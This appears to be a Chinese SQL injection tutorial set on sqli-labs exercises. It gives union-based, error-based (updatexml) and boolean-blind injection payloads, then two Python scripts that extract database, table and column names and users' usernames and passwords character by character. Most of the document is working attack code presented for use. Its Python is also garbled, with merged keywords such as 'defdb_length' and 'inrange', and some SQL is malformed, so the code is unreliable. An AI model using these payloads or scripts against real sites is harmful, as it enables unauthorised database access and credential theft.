#1.判断数据库字段数目 'order by ? #2.联合查询---接入1,2,3,4回显数据 mysql> select * from stu union select 1,2,3,4; +----+---------+--------+------+ | id | name | gender | age | +----+---------+--------+------+ | 1 | chengke | 1 | 30 | | 1 | beijing | 1 | 200 | | 2 | guagnxi | 1 | 2300 | | 3 | nanjing | 1 | 500 | | 4 | henan | 1 | 600 | | 1 | 2 | 3 | 4 | +----+---------+--------+------+ 6 rows in set (0.00 sec) #3.回显user--假设回显位置为2 mysql> select * from stu union select 1, user(),3,4; #4.回显数据库 mysql> select * from stu union select 1, database(),3,4; #5.回显版本号 mysql> select * from stu union select 1,version(),3,4; #6.查询表名 mysql> select * from stu union select 1, group_concat(table_name) from information_schema.tables where table_schema='testdb',3,4; #7.查询字段信息 mysql> select * from stu union select 1,group_concat(column_name) from information_schema.columns where table_schema='testdb' and table_name='stu',3,4; #8.锁定目标信息 select * from stu union select 1,select group_concat(name,age) from stu,3,4;
#1.用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置,多进行几次就可以了 and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+
#2.使用concat,利用limit(起始位置,截取数量) 函数进行结果截取(还是有可能回显到长度大于限制的数据导致无法显示,不推荐) and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+
sqli-lab第5关
首先很容易发现这是一个报错注入,我们要使用报错函数进行解决
首先读取当前用户,?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
发现是root用户,我们继续读取当前数据库,?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
读取表名?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
从表user中读取列名?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1) --+
读取数据,倘若使用?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(id,username,password) 1,32)from users,0x7e),1) --+,这个时候就会出现截取不全的情况,所以我们要一部分一部分进行截取
先截取前32个字节,?id=1' and updatexml(1,(select substr((group_concat(id,username,password)),1,32) from users),1) --+
再截取下32个字节,?id=1' and updatexml(1,(select substr((group_concat(id,username,password)),33,64) from users),1) --+
for i inrange(1,100): min_value = 33 max_value = 130 mid_value = (min_value+max_value)//2#取中间值 while(min_value<max_value): payload = "?id=1')) and(ascii(substr(database(),{0},1))>{1}) --+".format(i,mid_value) get_url = url + payload response = requests.get(get_url) get_url = ''#置为空,防止影响下一轮的payload if"You are in.... Use outfile......"in response.text: min_value = mid_value + 1 else: max_value = mid_value mid_value =(max_value+min_value)//2 if(chr(mid_value)=="!"): break result = result + chr(mid_value) print(result)
我们可以拿sqli-lab的第7关做演示,我们先用上面的脚本测试数据库名称
当然我们也可以使用更高级的脚本,帮助我们一把梭哈
import requests
#数据库库名长度 defdb_length(): db_len = 1 whileTrue: str_db_len = str(db_len) db_len_url = url + "and length(database())=" + str_db_len + "--+" r = requests.get(db_len_url) if flag in r.text: print("\n当前数据库名长度为:%s" %str_db_len) break else: db_len = db_len + 1 return db_len
#猜解当前数据库库名 defdb_name(): low = 32 high = 126 i = 1 km = "" while (i<=db_len): str_i = '%d' %i if (low + high) % 2 == 0: mid = (low + high) / 2 elif (low + high) % 2 != 0: mid = (low + high + 1) / 2 str_mid = '%d' %mid
name_url = url + "and ascii(substr((select schema_name from information_schema.schemata limit 5,1),"+str_i+",1))="+str_mid+"--+" response = requests.get(name_url) if flag in response.text: km += chr(int(mid)) print(km) i = i + 1 low = 32 high = 126 elif flag notin response.text: name_url = url + "and ascii(substr((select schema_name from information_schema.schemata limit 5,1),"+str_i+",1))>"+str_mid+"--+" response = requests.get(name_url) if flag in response.text: low = mid elif flag notin response.text: high = mid print("当前数据库库名为:"+km) return km
#判断表的个数 deftable_num(): for i inrange(20): str_i = '%d' %i num_url = url + "and (select count(table_name) from information_schema.tables where table_schema='"+db_name+"')="+str_i+"--+" r = requests.get(num_url) if flag in r.text: print("\n数据表个数为:%s" %str_i) break return i
#判断表名长度 deftable_len(): t_len = [] for i inrange(0,table_num): str_i = str(i) for j inrange(1,20): str_j = str(j) len_url = url + "and (select length(table_name) from information_schema.tables where table_schema='"+db_name+"' limit "+str_i+",1)="+str_j+"%23" r = requests.get(len_url) if flag in r.text: print("第"+str(i+1)+"张表的表名长度为:"+str_j) t_len.append(j) break return t_len
#猜解表名 deftable_name(): tname = {} for i inrange(0,table_num): str_i = str(i) for j inrange(table_num): if i == j: k = 1 low = 32 high = 126 bm = "" while (k<=t_len[j]): str_k = str(k) if (low + high) % 2 ==0: mid = (low + high) / 2 elif (low + high) % 2 !=0: mid = (low + high + 1) /2 str_mid = str(mid) name_url = url + "and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str_i+",1),"+str_k+",1))="+str_mid+"--+" r = requests.get(name_url) if flag in r.text: bm += chr(int(mid)) print(bm) k = k+1 low = 32 high = 126 elif flag notin r.text: name_url = url + "and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str_i+",1),"+str_k+",1))>"+str_mid+"--+" r = requests.get(name_url) if flag in r.text: low = mid elif flag notin r.text: high = mid tname[str(j+1)] = str(bm) for key,value in tname.items(): print("[+]| "+key+" | "+value) return tname
#判断表中列个数 defcolumn_num(): for i inrange(10): str_i = str(i) num_url = url + "and (select count(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"')="+str_i+"--+" r = requests.get(num_url) if flag in r.text: print(table_name+"表中列的个数为:%s" %str_i) break return i
#判断列名长度 defcolumn_len(): c_len = [] for i inrange(0,column_num): str_i = str(i) for j inrange(1,20): str_j = str(j) len_url = url + "and (select length(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"'limit "+str_i+",1)="+str_j+"%23" r = requests.get(len_url) if flag in r.text: c_len.append(j) print("第"+str(i+1)+"列的列名长度为:"+str_j) break return c_len
#猜解列名 defcolumn_name(): cname = {} for i inrange(0, column_num): str_i = str(i) for j inrange(column_num): if i == j: k = 1 low = 32 high = 126 cm = '' while k <= column_len[j]: str_k = str(k) mid = 0 if (low + high) % 2 == 0: mid = (low + high) / 2 elif (low + high) % 2 != 0: mid = (low + high + 1) / 2 str_mid = str(mid) name_url = url + "and ascii(substr((select column_name from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"' limit "+str_i+",1),"+str_k+",1))="+str_mid+"--+" r = requests.get(name_url) if flag in r.text: cm += chr(int(mid)) print(cm) k = k+1 low = 32 high = 126 elif flag notin r.text: name_url = url + "and ascii(substr((select column_name from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"' limit "+str_i+",1),"+str_k+",1))>"+str_mid+"--+" r = requests.get(name_url) if flag in r.text: low = mid elif flag notin r.text: high = mid cname[str(j)] = str(cm) for key,value in cname.items(): print("[+]| "+str(int(key)+1)+" | "+value) return cname
#判断字段个数 defdump_num(): for i inrange(0,column_num): for j inrange(20): str_j = str(j) num_url = url + "and (select count("+cname[str(i)]+") from "+db_name+"."+table_name+")="+str_j+"--+" r = requests.get(num_url) if flag in r.text: print(cname[str(i)]+"列中的字段数为:%s" %str_j) break return j
#判断字段长度 defdump_len(): user_len = [] pass_len = [] for i inrange(0,dump_num): str_i = str(i) for j inrange(1,33): str_j = str(j) len_url = url + "and (select length(username) from "+db_name+"."+table_name+" limit "+str_i+",1)="+str_j+"%23" r = requests.get(len_url) if flag in r.text: user_len.append(j) print("username第"+str(i+1)+"个字段长度为:"+str_j) break for k inrange(1,33): str_k = str(k) len_url = url + "and (select length(password) from "+db_name+"."+table_name+" limit "+str_i+",1)="+str_k+"%23" r = requests.get(len_url) if flag in r.text: pass_len.append(k) print("password第"+str(i+1)+"个字段长度为:"+str_k) break return (user_len,pass_len)
#猜解字段值 defdump(): username = {} password = {} for i inrange(0,dump_num): str_i = str(i) for j inrange(dump_num): if i == j: k = 1 p = 1 low = 32 high = 126 uname = '' pword = '' while k <= user_len[j]: str_k = str(k) if (low + high) % 2 == 0: mid = (low + high) / 2 elif (low + high) %2 != 0: mid = (low + high + 1) / 2 str_mid = str(mid) user_url = url + "and ascii(substr((select username from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_k+",1))="+str_mid+"--+" r = requests.get(user_url) if flag in r.text: uname += chr(int(mid)) print(str(i+1)+"| usename:"+uname) k = k+1 low = 32 high = 126 elif flag notin r.text: user_url = url + "and ascii(substr((select username from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_k+",1))>"+str_mid+"--+" r = requests.get(user_url) if flag in r.text: low = mid elif flag notin r.text: high = mid username[str(j)] = str(uname) while p <= pass_len[j]: str_p = str(p) if (low + high) % 2 == 0: mid = (low + high) / 2 elif (low + high) %2 != 0: mid = (low + high + 1) / 2 str_mid = str(mid) pass_url = url + "and ascii(substr((select password from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_p+",1))="+str_mid+"--+" r = requests.get(pass_url) if flag in r.text: pword += chr(int(mid)) print(str(i+1)+"| password:"+pword) p = p+1 low = 32 high = 126 elif flag notin r.text: pass_url = url + "and ascii(substr((select password from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_p+",1))>"+str_mid+"--+" r = requests.get(pass_url) if flag in r.text: low = mid elif flag notin r.text: high = mid password[str(j)] = str(pword) for x inrange(0,13): print("|"+str(x+1)+"|username:"+username[str(x)]+"|password:"+password[str(x)]+"|")